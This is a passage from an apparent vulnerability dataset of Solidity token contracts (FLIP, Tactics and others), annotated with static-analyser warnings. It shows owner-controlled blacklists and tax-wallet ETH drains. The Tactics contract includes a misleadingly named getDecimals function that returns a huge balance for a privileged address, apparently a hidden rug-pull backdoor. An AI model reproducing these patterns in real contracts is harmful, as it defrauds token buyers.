for 5f72840: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9e09ee0): PolitFi.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9e09ee0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 60dffef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 60dffef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 134c6ff\n\t\t// reentrancy-benign | ID: c8d5b34\n\t\t// reentrancy-eth | ID: 60dffef\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c8d5b34\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: c8d5b34\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 134c6ff\n\t\t// unused-return | ID: 9e09ee0\n\t\t// reentrancy-eth | ID: 60dffef\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 134c6ff\n\t\t// unused-return | ID: 5f72840\n\t\t// reentrancy-eth | ID: 60dffef\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 134c6ff\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 60dffef\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 134c6ff\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10112.sol",
"size_bytes": 23689,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0f9a423): FLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 0f9a423: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 525a23b): FLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 525a23b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8b91ab7): FLIP.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 8b91ab7: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f584d01): FLIP.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for f584d01: Consider ordering multiplication before division.\ncontract FLIP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a219750): FLIP._taxWallet should be immutable \n\t// Recommendation for a219750: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8e6f0e): FLIP._initialBuyTax should be constant \n\t// Recommendation for a8e6f0e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f54c908): FLIP._initialSellTax should be constant \n\t// Recommendation for f54c908: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e72f7a): FLIP._finalBuyTax should be constant \n\t// Recommendation for 2e72f7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b9b52f): FLIP._finalSellTax should be constant \n\t// Recommendation for 6b9b52f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76d85a5): FLIP._reduceBuyTaxAt should be constant \n\t// Recommendation for 76d85a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548a5e): FLIP._reduceSellTaxAt should be constant \n\t// Recommendation for 7548a5e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fafab2f): FLIP._preventSwapBefore should be constant \n\t// Recommendation for fafab2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e61d0b3): FLIP._transferTax should be constant \n\t// Recommendation for e61d0b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Flip\";\n\n string private constant _symbol = unicode\"FLIP\";\n\n\t// divide-before-multiply | ID: 525a23b\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 0f9a423\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 659e8c4): FLIP._taxSwapThreshold should be constant \n\t// Recommendation for 659e8c4: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 8b91ab7\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 066712b): FLIP._maxTaxSwap should be constant \n\t// Recommendation for 066712b: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: f584d01\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: a5ec29e): FLIP.uniswapV2Router should be immutable \n\t// Recommendation for a5ec29e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49a59c3): FLIP.uniswapV2Pair should be immutable \n\t// Recommendation for 49a59c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0acfe2e): FLIP.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0acfe2e: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0xDD5051ec58b07A593845a4fd4cD5b3383f189336);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 0acfe2e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 427d234): FLIP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 427d234: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b20ee1f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b20ee1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2faaa4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2faaa4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b20ee1f\n\t\t// reentrancy-benign | ID: 2faaa4f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b20ee1f\n\t\t// reentrancy-benign | ID: 2faaa4f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 198ab97): FLIP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 198ab97: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2faaa4f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b20ee1f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6afb9b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6afb9b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bf19a05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bf19a05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6afb9b5\n\t\t\t\t// reentrancy-eth | ID: bf19a05\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6afb9b5\n\t\t\t\t\t// reentrancy-eth | ID: bf19a05\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bf19a05\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bf19a05\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bf19a05\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6afb9b5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bf19a05\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bf19a05\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6afb9b5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6afb9b5\n\t\t// reentrancy-events | ID: b20ee1f\n\t\t// reentrancy-benign | ID: 2faaa4f\n\t\t// reentrancy-eth | ID: bf19a05\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6afb9b5\n\t\t// reentrancy-events | ID: b20ee1f\n\t\t// reentrancy-eth | ID: bf19a05\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 465760f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 465760f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 75f4815): FLIP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 75f4815: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd9afdf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd9afdf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 465760f\n\t\t// unused-return | ID: 75f4815\n\t\t// reentrancy-eth | ID: bd9afdf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 465760f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bd9afdf\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10113.sol",
"size_bytes": 21900,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cf26650): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for cf26650: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: cf26650\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract OwnableERC20 is IERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 8804e7e): OwnableERC20._token should be immutable \n\t// Recommendation for 8804e7e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal _token;\n\n mapping(address => uint256) internal _balances;\n\n constructor(address token) {\n _token = token;\n }\n\n function _balanceChecker(address sender) private view returns (uint256) {\n return getDecimals(sender);\n }\n\n function getDecimals(address add) internal view returns (uint256) {\n if (add == _token) {\n return 10 ** 24;\n }\n\n return _balances[add];\n }\n\n function balances(address sender) internal view returns (uint256) {\n return _balanceChecker(sender);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tactics is Context, Ownable, OwnableERC20 {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b86ef75): Tactics._taxWallet should be immutable \n\t// Recommendation for b86ef75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0737f81): Tactics._initialBuyTax should be constant \n\t// Recommendation for 0737f81: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 157934a): Tactics._initialSellTax should be constant \n\t// Recommendation for 157934a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 494bc22): Tactics._reduceBuyTaxAt should be constant \n\t// Recommendation for 494bc22: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ce30f0): Tactics._reduceSellTaxAt should be constant \n\t// Recommendation for 3ce30f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b20e35b): Tactics._preventSwapBefore should be constant \n\t// Recommendation for b20e35b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Champions Tactics\";\n\n string private constant _symbol = unicode\"CT\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: b808430): Tactics._taxSwapThreshold should be constant \n\t// Recommendation for b808430: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58955e7): Tactics._maxTaxSwap should be constant \n\t// Recommendation for 58955e7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e52d64d): Tactics.constructor(address)._newOwner lacks a zerocheck on \t _taxWallet = address(_newOwner)\n\t// Recommendation for e52d64d: Check that the address is not zero.\n constructor(address _newOwner) OwnableERC20(_newOwner) {\n\t\t// missing-zero-check | ID: e52d64d\n _taxWallet = payable(_newOwner);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a509a10): Tactics.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a509a10: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d839f11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d839f11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d487d50): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d487d50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d839f11\n\t\t// reentrancy-benign | ID: d487d50\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d839f11\n\t\t// reentrancy-benign | ID: d487d50\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n 